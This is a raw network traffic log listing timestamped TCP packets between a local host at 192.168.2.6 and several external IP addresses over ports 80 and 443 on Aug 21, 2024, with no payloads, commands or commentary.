Aug 21, 2024 08:32:16.069288015 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.069293976 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.069490910 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.073893070 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.073909044 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.073915958 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.073925972 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.073936939 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.073945045 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.073982000 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.074012041 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.074043989 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.074049950 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.074098110 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.074109077 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.074119091 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.074131966 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.074182987 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.074188948 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.074196100 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.074206114 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.074235916 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.074248075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.074254990 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.074266911 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.074306965 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.075206041 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.075231075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.075239897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.075294018 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.075308084 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.075314045 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.075321913 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.075326920 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.075331926 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.075334072 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.075351954 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.075382948 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.075382948 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.086141109 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086155891 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086164951 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086194038 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086201906 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086220026 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086224079 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.086225986 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086236000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086244106 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.086270094 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086276054 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086283922 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.086324930 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086329937 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.086329937 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.086332083 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086344957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086380959 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.086411953 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.086424112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086430073 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086442947 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086447954 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086462021 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086484909 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.086517096 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.086568117 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086577892 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086591959 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086599112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086647987 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.086716890 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086733103 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086740971 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086754084 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086762905 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086765051 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.086771011 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086781979 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.086800098 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.086833954 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.086833954 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.087667942 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.087690115 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.087693930 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.087738037 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.087743998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.087754965 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.087754965 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.087768078 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.087795019 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.087799072 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.087799072 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.087826014 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.087843895 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.087883949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.087893963 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.087908030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.087915897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.087943077 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.087968111 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.087971926 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088021040 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088021040 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.088028908 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088037968 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088043928 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088084936 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.088125944 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088133097 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088138103 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088143110 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088155031 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088174105 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.088206053 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.088207006 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.088233948 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088239908 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088247061 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088252068 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088293076 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.088325024 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088331938 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088344097 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088349104 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088388920 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.088545084 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088552952 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088567019 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088574886 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088587046 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088594913 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088603020 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088608980 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.088618994 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.088619947 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.088655949 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.088655949 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.089204073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089214087 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089221001 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089277029 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.089310884 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089319944 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089328051 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089337111 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089363098 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.089390993 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.089415073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089421988 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089430094 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089437962 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089453936 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.089485884 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.089534998 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089541912 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089555979 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089564085 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089591980 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.089623928 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.089668989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089675903 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089682102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089725971 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.089756966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089766026 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089771986 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089778900 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089786053 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089795113 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089812040 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089817047 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.089843035 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.089885950 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.089971066 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089981079 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.089996099 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090003967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090013027 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090035915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090058088 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.090059042 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.090079069 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090085030 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090086937 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.090091944 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090099096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090106964 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090126991 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.090148926 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.090209961 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090215921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090220928 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090230942 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090236902 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090246916 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090251923 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090256929 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090266943 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.090267897 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090275049 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090281010 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090285063 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.090298891 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090306997 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.090327024 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.090348959 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.090418100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090426922 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090441942 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090447903 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090497017 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.090580940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090590000 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090630054 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090639114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090646982 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090656996 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090665102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090670109 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.090689898 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.090689898 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.090717077 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.090995073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.091001987 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.091012001 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.091017962 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.091022968 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.091033936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.091042042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.091059923 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.091088057 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.093775034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.093786001 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.093792915 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.093842983 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.093859911 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.093863964 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.093868017 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.093880892 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.093887091 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.093899965 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.093905926 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.093916893 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.093940020 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.093955040 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.093961000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.093972921 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.093983889 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.093992949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.094023943 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.094023943 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.094050884 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.094053984 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.094063997 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.094072104 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.094085932 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.094094038 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.094103098 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.094122887 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.094141960 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.094142914 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.094151974 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.094204903 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.112391949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.112400055 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.112420082 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.112426996 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.112437010 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.112442970 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.112448931 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.112462997 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.112495899 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.112529039 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.125133038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125149012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125165939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125184059 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125193119 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125194073 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.125200987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125211954 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125231981 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.125252008 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125257015 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.125258923 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125266075 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125271082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125277042 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125284910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125299931 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.125334978 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.125361919 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125370026 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125375986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125380039 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125391006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125396967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125407934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125412941 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.125415087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125426054 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.125453949 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.125458956 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.125514030 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.126437902 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.126451969 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.126454115 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.126496077 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.126507998 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.126517057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.126530886 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.126539946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.126569033 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.126583099 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.126760006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.126765966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.126779079 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.126811028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.126821041 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.126821995 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.126828909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.126840115 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.126843929 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.126858950 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.126889944 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.127362013 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.127388954 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.127427101 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.127434015 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.127476931 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.127476931 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.127691031 CEST	443	49732	162.159.130.233	192.168.2.6
